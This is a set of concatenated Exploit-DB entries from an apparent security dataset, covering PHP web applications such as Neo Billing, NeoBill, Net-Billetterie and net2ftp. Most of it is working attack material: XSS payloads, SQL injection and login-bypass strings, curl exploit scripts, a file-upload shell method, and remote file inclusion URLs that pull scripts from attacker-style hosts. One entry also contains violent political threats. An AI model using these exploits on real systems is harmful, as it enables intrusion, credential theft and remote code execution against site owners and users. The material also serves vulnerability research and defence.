deardaniel/secdata-raw huggingface dataset:
Exploit-DB #47289
Description: Neo Billing 3.5 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-08-19
Author: n1x_

Exploit:
# Exploit Title: Neo Billing 3.5 - Stored Cross Site Scripting Vulnerability
# Date: 18.8.2019.
# Exploit Author: n1x_ [MS-WEB]
# Vendor Homepage: https://codecanyon.net/item/neo-billing-accounting-invoicing-and-crm-software/20896547
# Version: 3.5
# CWE : CWE-79
# CVE: CVE-2020-23518

[Description]

# Neo Billing os an accounting, invoicing and CRM PHP script, with over 500 installations.
# Due to improper input fields data filtering, version 3.5 (and possibly previous versions), are affected by a stored XSS vulnerability. 

[Proof of Concept]

# 1. Authorization  as customer (regular user account) [//host/neo/crm/user/login]
# 2. Closing an input field tag and injecting code into 'Subject' or 'Description' text fields [//host/neo/crm/tickets/addticket]
# 3. The code is stored [//host/neo/crm/tickets] ∨ [//host/neo/crm/tickets/thread/?id=ticketid] 

[Example paylods]

# Example payload: "><img src="x" onerror="alert('XSS');">
# Example payload: "><script>alert(document.cookie)</script>

[POST Request]

POST /neo/crm/tickets/addticket HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: //host/neo/crm/tickets/addticket
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]127523
Content-Length: 694
Cookie: __cfduid=d99e93624fe63d5aa953bf59cd28cdafe[PII_REDACTED]; ci_sessions=nel35vfb2hi5f9tt29l43ogn36hdmilj
Connection: close
Upgrade-Insecure-Requests: 1
 
----------------------------[PII_REDACTED][PII_REDACTED]127523
Content-Disposition: form-data; name="title"
 
"><script>alert('XSS')</script>
----------------------------[PII_REDACTED][PII_REDACTED]127523
Content-Disposition: form-data; name="content"
 
<p>"><script>alert('XSS')</script><br></p>
----------------------------[PII_REDACTED][PII_REDACTED]127523
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream
 
 
----------------------------[PII_REDACTED][PII_REDACTED]127523
Content-Disposition: form-data; name="userfile"; filename=""
Content-Type: application/octet-stream
 
 
----------------------------[PII_REDACTED][PII_REDACTED]127523--
Exploit-DB #38864
Description: NeoBill - '/install/include/solidstate.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2013-12-06
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/64112/info
 
NeoBill is prone to multiple security vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker can exploit these vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, to execute arbitrary commands, to execute local script code in the context of the application, the attacker may be able to obtain sensitive information that may aid in further attacks.
 
NeoBill 0.9-alpha is vulnerable; other versions may also be affected. 

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://[target]/install/include/solidstate.php");
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
curl_setopt($ch, CURLOPT_POSTFIELDS, "username='[SQLi]&firstname='[SQLi]&email='[SQLi]"); // or inject in only one ;)
curl_setopt($ch, CURLOPT_COOKIE, "language='[SQLi]"); // SQLi via Cookie
curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookie_[target]"); // add cookie-jar header to exploit it ^^
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);
echo $buf;
Exploit-DB #38863
Description: NeoBill - '/modules/nullregistrar/PHPwhois/example.php?query' Remote Code Execution
Type: webapps
Platform: php
Date: 2013-12-06
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/64112/info

NeoBill is prone to multiple security vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit these vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, to execute arbitrary commands, to execute local script code in the context of the application, the attacker may be able to obtain sensitive information that may aid in further attacks.

NeoBill 0.9-alpha is vulnerable; other versions may also be affected. 

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://[target]/modules/nullregistrar/phpwhois/example.php?query=[CMD]");
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);
echo $buf;
Exploit-DB #38865
Description: NeoBill 0.9-alpha - 'language' Local File Inclusion
Type: webapps
Platform: php
Date: 2013-12-06
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/64112/info
  
NeoBill is prone to multiple security vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker can exploit these vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, to execute arbitrary commands, to execute local script code in the context of the application, the attacker may be able to obtain sensitive information that may aid in further attacks.
  
NeoBill 0.9-alpha is vulnerable; other versions may also be affected. 

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://[target]/install/index.php");
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "language=[LFI]%00"); // LFI 1
curl_setopt($ch, CURLOPT_COOKIE, "language=[LFI]%00"); // LFI 2 ( via cookie ^^ )
curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookie_[target]");
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);
echo $buf;
Exploit-DB #3163
Description: Neon Labs Website 3.2 - 'nl.php?g_strRootDir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-20
Author: 3l3ctric-Cracker

Exploit:
------------------------------------------------------------------------------------------------------------------------
Script:nlws
Affected Version:3.2
Downlaoad:http://neonlabs.structum.com.mx/pkgs/nlws_3-2.zip
------------------------------------------------------------------------------------------------------------------------
Author:Dr Max Virus
------------------------------------------------------------------------------------------------------------------------
Bug in (lib/nl/nl.php)
Vul Code;
include($g_strRootDir.$g_strLibDir."nl/nlsite.php");
include($g_strRootDir.$g_strLibDir."nl/nltable.php");
------------------------------------------------------------------------------------------------------------------------
POC:
http://[target]/[path]/lib/nl/nl.php?g_strRootDir=[Bad Code]
------------------------------------------------------------------------------------------------------------------------
Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends
Special Greetz:AsianEagle-TheMaster-Kacper-Hotturk
------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2007-01-20]
Exploit-DB #51858
Description: Neontext Wordpress Plugin - Stored XSS
Type: webapps
Platform: php
Date: 2024-03-05
Author: Eren Car

Exploit:
# Exploit Title: Wordpress Plugin Neon Text <= 1.1 - Stored Cross Site Scripting (XSS)
# Date: 2023-11-15
# Exploit Author: Eren Car
# Vendor Homepage: https://www.eralion.com/
# Software Link: https://downloads.wordpress.org/plugin/neon-text.zip
# Category: Web Application
# Version: 1.0
# Tested on: Debian / WordPress 6.4.1
# CVE : CVE-2023-5817

# 1. Description:
The Neon text plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's neontext_box shortcode in 1.1 and above versions. 
  
# 2. Proof of Concept (PoC):
  a. Install and activate version 1.0 of the plugin.
  b. Go to the posts page and create new post.
  c. Add shorcode block and insert the following payload:
  
		[neontext_box][neontext color='"onmouseover="alert(document.domain)"']TEST[/neontext][/neontext_box]
		
		
  d. Save the changes and preview the page. Popup window demonstrating the vulnerability will be executed.
Exploit-DB #26183
Description: NEPHP 3.0.4 - 'browse.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-08-22
Author: bl2k

Exploit:
source: https://www.securityfocus.com/bid/14626/info

nePHP is prone to a cross-site scripting vulnerability. This issue is due to a lack of sanitization of user-supplied input.

This vulnerability will allow a malicious user to perform attacks on an unsuspecting user in the context of the site hosting the affected application.

This can lead to the theft of cookie-based authentication credentials, as well as other attacks. 

http://www.example.com/nephp/browse.php?mod=find&keywords='%3E%3Cscript%3Ealert('test');%3C/script%3E
Exploit-DB #9712
Description: Nephp Publisher Enterprise 4.5 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-09-17
Author: learn3r hacker

Exploit:
#############################################
#  NEPHP publisher SQLi login bypass	    #
#     By learn3r hacker from Nepal	    #
#      damagicalhacker@gmail.com	    #
#############################################

Affected version: v 3.5.9 or may be lower...

Username: valid_username'#  [eg. Administrator/*]
[CREDENTIAL_REDACTED]  [or whatever]

Or
Username: ' or 1='1'#
[CREDENTIAL_REDACTED] [or whatever]

Live Demo: http://andhracafe.com/admin/index.php

Note that Administrator is a default username in this product

Greetz to: sToRm and m0nkee from #gny, sam207 from www.sampctricks.blogspot.com, nepali boka, l@d0_put! HaCKeR and all...
FuCK MaKuNe, G!r!ja, Prachanda and all political leaders of Nepal
K!ll Parmananda Jha, Upendra Yadav and Vijay Gachhedhaar

By learn3r aka cyb3r lord
Nepali Hackerz Are Not Dead!!!

# milw0rm.com [2009-09-17]
Exploit-DB #6830
Description: NEPT Image Uploader 1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-10-24
Author: Dentrasi

Exploit:
//Title - NEPT Image Uploader shell upload

//Vendor - newearthpt.freehostia.com

//Version - 1.0

//Status - vendor has been notified

//Author - Dentrasi

//Description

It is possible to upload a php script to the remote site.


1. Select a php file for upload
2. Select it for upload, and tamperdata the request
3. Change the Content-Type from 'application/octet-stream' to 'image/jpeg'
4. If the link provided gives a 404, add 'upload/' before the file name

# milw0rm.com [2008-10-24]
Exploit-DB #2226
Description: NES Game and NES System c108122 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-20
Author: Kacper

Exploit:
/*
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- NES Game & NES System <= c108122 (phphtmllib) Remote File Include Vulnerability
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: NES Game & NES System v. c108122
- [Script site: http://sourceforge.net/projects/nesgame
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-          Contact: kacper1964@yahoo.pl
-                        or
-          http://www.devilteam.yum.pl/
-                       and
-           http://www.rahim.webd.pl/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Special Greetz: DragonHeart ;-)
- Ema: Leito, Adam, DeathSpeed, Drzewko, pepi
-
!@ Przyjazni nie da sie zamienic na marne korzysci @!
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/
/*

a lot of include vulnerability .....

*/
#Exploit:

http://www.site.com/[NES_path]/phphtmllib/includes.php?phphtmllib=[http://www.myevilsite.com/evil_scripts.txt]
http://www.site.com/[NES_path]/phphtmllib/tag_utils/divtag_utils.php?phphtmllib=[http://www.myevilsite.com/evil_scripts.txt]
http://www.site.com/[NES_path]/phphtmllib/tag_utils/form_utils.php?phphtmllib=[http://www.myevilsite.com/evil_scripts.txt]
http://www.site.com/[NES_path]/phphtmllib/tag_utils/html_utils.php?phphtmllib=[http://www.myevilsite.com/evil_scripts.txt]
http://www.site.com/[NES_path]/phphtmllib/tag_utils/localinc.php?phphtmllib=[http://www.myevilsite.com/evil_scripts.txt]
http://www.site.com/[NES_path]/phphtmllib/widgets/FooterNav.php?phphtmllib=[http://www.myevilsite.com/evil_scripts.txt]
http://www.site.com/[NES_path]/phphtmllib/widgets/HTMLPageClass.php?phphtmllib=[http://www.myevilsite.com/evil_scripts.txt]
http://www.site.com/[NES_path]/phphtmllib/widgets/InfoTable.php?phphtmllib=[http://www.myevilsite.com/evil_scripts.txt]
http://www.site.com/[NES_path]/phphtmllib/widgets/localinc.php?phphtmllib=[http://www.myevilsite.com/evil_scripts.txt]
http://www.site.com/[NES_path]/phphtmllib/widgets/NavTable.php?phphtmllib=[http://www.myevilsite.com/evil_scripts.txt]
http://www.site.com/[NES_path]/phphtmllib/widgets/TextNav.php?phphtmllib=[http://www.myevilsite.com/evil_scripts.txt]

# milw0rm.com [2006-08-20]
Exploit-DB #45863
Description: Net-Billetterie 2.9 - 'login' SQL Injection
Type: webapps
Platform: php
Date: 2018-11-15
Author: Ihsan Sencan

Exploit:
# Exploit Title: Net-Billetterie 2.9 - 'login' SQL Injection
# Dork: N/A
# Date: 2018-11-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://net-billetterie.tuxfamily.org/
# Software Link: https://netix.dl.sourceforge.net/project/netbilletterie/Netbilletterie2.9.zip
# Version: 2.9
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/login.inc.php
# 

# //login.inc.php
# ....
#18 if (isset ($_POST) && !empty($_POST['login']) && !empty($_POST['pass']))
#19 {
#20   extract($_POST);
#21   $pass=md5($pass);
#22   
#23   $sql="SELECT * FROM ".$tblpref."user WHERE login='$login' AND pwd='$pass' ";
#24   $req=mysql_query($sql) or die (mysql_error());
#25   if( mysql_num_rows($req)>0)
#26   {
#27     $data = mysql_fetch_array($req);
#28     $login = $data['login'];
#29     $num=$data['num'];
#30     
#31     $_SESSION['Auth']=array(
#32     'login' =>$login,
#33     'pass'  =>$pass,
#34     'lang'  =>'fr',
#35     'tblpref'=>$tblpref,
#36     'num'   =>$num
# ....

POST /[PATH]/login.inc.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=ahn0q4qtr7adcj7kol54879rv0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 579
login=%31%27%20%4f%52%20%28%53%45%4c%45%43%54%20%31%31%32%20%46%52%4f%4d%28%53%45%4c%45%43%54%20%43%4f%55%4e%54%28%2a%29%2c%43%4f%4e%43%41%54%28%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%31%31%32%3d%31%31%32%2c%31%29%29%29%2c%46%4c%4f%4f%52%28%52%41%4e%44%28%30%29%2a%32%29%29%78%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%50%4c%55%47%49%4e%53%20%47%52%4f%55%50%20%42%59%20%78%29%61%29%2d%2d%20Efe&pass=Efe
HTTP/1.1 200 OK
Date: Tue, 13 Nov 2018 10:57:05 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 84
Keep-Alive: timeout=5, max=97
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Exploit-DB #4629
Description: net-finity - 'links.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-11-16
Author: VerY-SecReT

Exploit:
######################|S n I p E r - S A . C o m|###################
#                                                                  #
#  SSSSS      NNN        NN   II  PPPPPPP  EEEEEEEEE   RRRRR       #
# SS          NN NN      NN   II  PP    P  EE          RR   RR     #
#S            NN  NN     NN   II  PP    P  EE          RR     R    #
# SS          NN   NN    NN   II  PPPPPPP  EE          RR   RR     #
#   SSSS      NN    NN   NN   II PPP     EEEEEEE      RRRR         #
#        SS   NN     NN  NN   II  PP       EE          RRRR        #
#          S  NN      NN NN   II  PP       EE          RR  RR      #
#        SS   NN        NNN   II  PP       EE          RR   RR     #
#   SSSSS     NN        NNN   II  PP       EEEEEEEEEE  RR     RR   #
#                                                                  #
#####################|V e r Y - S e c R e T|########################
#found by :  VerY-SecReT <---->[SnipEr's TeaM]                     #
####################################################################
#HomePage : WwW.SnIpEr-Sa.Com                                      #
############################################################################
#DorK: "Designed & Developed by net-finity" Or "inurl:links.php?link_id="  #
#########################################################################################################################
#EX: http://localhost/links.php?link_id=-99%20union%20select%201,user,password,4,5,6,7,8,9%20from%20mysql.user/*        #
# some web bug in
#EX: http://localhost/links.php?link_id=-99%20union%20select%201,2,3,4,password,user,7,8,69,10,11%20from%20mysql.user/* #
#########################################################################################################################
#S.GreetZ: sniper-sa.com & SnIpEr-Sa & Rafoo                       #
####################################################################
#ThanX To: ShoOt3r , 911 , 3badi , Devil-X , Mr.Max , Golden Hacker#
####################################################################
#Contact : SecReT@SecuRitY.Com.Sa  & http://www.sniper-sa.com      #
####################################################################

# milw0rm.com [2007-11-16]
Exploit-DB #3562
Description: Net-Side.net CMS - 'index.php?cms' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-24
Author: Sharingan

Exploit:
I see your future and your future is death. Sharingan !
--------------------------------------------------------------------------------------------------------------
Hi I'm sharingan and this is my vuln :
script name :
Net Side Content Management System
(2 versions found both vulnerable | Version names not available since the script isn't downloadable)

vuln file :
index.php |and maybe others ... haven't checked|
vuln code version 1:
[...]
    if ($_GET["cms"] == "" or $_GET["cms"] == "titel")
   {
    include "titel.inc.php";
   }
   else
   {
    include $_GET["cms"].".inc.php";
[...]
vuln code version 2:
[...]
$includepath = "";
[...]
if ($_GET["cms"] == "")
   {
     include $includepath."titel.inc.php";
   }
   else
   {
    include $includepath.$_GET["cms"].".inc.php";
[...]

proof of concept :
http://site.com/index.php?cms=http://whatever.com/textshell.txt?
"powered by Net-Side.net"
--------------------------------------------------------------------------------------------------------------
greetz mozi and all php freaks.
oh yeah and a friendly Hi! to RST.

# milw0rm.com [2007-03-24]
Exploit-DB #35087
Description: net2ftp 0.98 (stable) - '/admin1.template.php' Local/Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-12-09
Author: Marcin Ressel

Exploit:
source: https://www.securityfocus.com/bid/45312/info

The 'net2ftp' program is prone to a local file-include vulnerability and a remote file-include vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit these issues to obtain sensitive information; other attacks are also possible.

net2ftp 0.98 stable is vulnerable; other versions may also be affected. 

http://www.example.com/skins/mobile/admin1.template.php?net2ftp_globals[application_skinsdir]=evilevilevil
Exploit-DB #36142
Description: net4visions (Multiple Products) - 'dir' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-09-19
Author: Gjoko Krstic

Exploit:
source: https://www.securityfocus.com/bid/49675/info

net4visions is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

The following products are affected:

net4visions iBrowser 1.4.1 Build 10182009
net4visions iManager 1.2.8 Build 02012008
net4visions iGallery 1.0.0

iBrowser Plugin

http://www.example.com/jscripts/tiny_mce/plugins/ibrowser/scripts/random.php?dir=<script>alert(&#039;zsl&#039;)</script>
http://www.example.com/jscripts/tiny_mce/plugins/ibrowser/scripts/phpThumb/demo/phpThumb.demo.random.php?dir=<script>alert(&#039;zsl&#039;)</script>

iManager Plugin

http://www.example.com/jscripts/tiny_mce/plugins/imanager/scripts/random.php?dir=<script>alert(&#039;zsl&#039;)</script>
http://www.example.com/jscripts/tiny_mce/plugins/imanager/scripts/phpThumb/demo/phpThumb.demo.random.php?dir=<script>alert(&#039;zsl&#039;)</script>

iGallery Plugin 

http://www.example.com/jscripts/tiny_mce/plugins/iGallery/scripts/pthumb/demo/phpThumb.demo.random.php?dir=<script>alert(&#039;zsl&#039;)</script>
Exploit-DB #38506
Description: NetApp OnCommand System Manager - '/zapiServlet' CIFS Configuration Management Interface Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2013-05-07
Author: M. Heinzl

Exploit:
source: https://www.securityfocus.com/bid/59688/info

NetApp OnCommand System Manager is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.

NetApp OnCommand System Manager 2.1, 2.0.2 and prior versions are vulnerable.

Request (domain-name):
    POST /zapiServlet HTTP/1.1
    Host: 127.0.0.1:1195
    [...]
    <netapp version="1.7" 
xmlns="http://www.example.com/filer/admin";><cifs-setup><auth-type>workgroup</auth-type><domain-name><img src=x 
onerror=alert(1) 
    </domain-name><security-style>multiprotocol</security-style><server-name>FILER</server-name></cifs-setup></netapp>